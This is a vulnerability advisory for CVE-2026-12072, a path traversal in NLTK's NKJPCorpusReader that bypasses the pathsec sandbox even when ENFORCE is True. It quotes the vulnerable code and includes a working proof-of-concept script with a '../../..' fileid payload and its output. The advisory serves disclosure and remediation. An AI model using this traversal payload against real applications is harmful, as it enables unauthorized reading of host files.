CVE-2026-12072

Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

• add_root() builds the path by plain string concatenation with no

normalization or containment check:

def add_root(self, fileid):          # lines 96-102
         if self.root in fileid:
             return fileid                # attacker-controlled value returned unchanged
         return self.root + fileid        # plain concat, '..' not stripped

• The header view appends a fixed basename and passes the string straight into

the corpus view (which opens it with the builtin open()):

class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
         def __init__(self, filename, **kwargs):
             XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189

• The other modes reach the filesystem through XML_Tool, which uses a raw

os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():

class XML_Tool:                                  # line 243
         def __init__(self, root, filename):
             self.read_file = os.path.join(root, filename)   # line 251
         def build_preprocessed_file(self):
             fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
   python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
   warnings.simplefilter("ignore")
   import nltk, nltk.pathsec as pathsec
   from nltk.corpus.reader.nkjp import NKJPCorpusReader
   print("nltk", nltk.__version__)
   # A legitimate, empty NKJP corpus root (what a real app has).
   root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
   os.makedirs(os.path.join(root, "sample"), exist_ok=True)
   open(os.path.join(root, "sample", "header.xml"), "w").write("")
   # The attacker's target: a file OUTSIDE the corpus root.
   secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
   open(os.path.join(secret_dir, "header.xml"), "w").write(
   ""
   "SECRET-API-KEY=sk-live-DEADBEEF"
       "")
   # Enable the strict mode SECURITY.md recommends for web / multi-tenant.
   pathsec.ENFORCE = True
   print("ENFORCE =", pathsec.ENFORCE)
   # Prove the out-of-root read and that pathsec is never consulted.
   opened = []; real = builtins.open
   builtins.open = lambda f, *a, k: (opened.append(str(f)), real(f, *a, k))[1]
   reader = NKJPCorpusReader(root=root + "/", fileids="sample")
   # Attacker-controlled fileids; '..' escapes the corpus root:
   evil = root + "/../../../../../../.." + secret_dir + "/"
   try:
       result = reader.header(fileids=[evil])
   finally:
       builtins.open = real
   print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
   print("disclosed content  :", result[0]["title"])
   shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
   ENFORCE = True
   opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
   disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.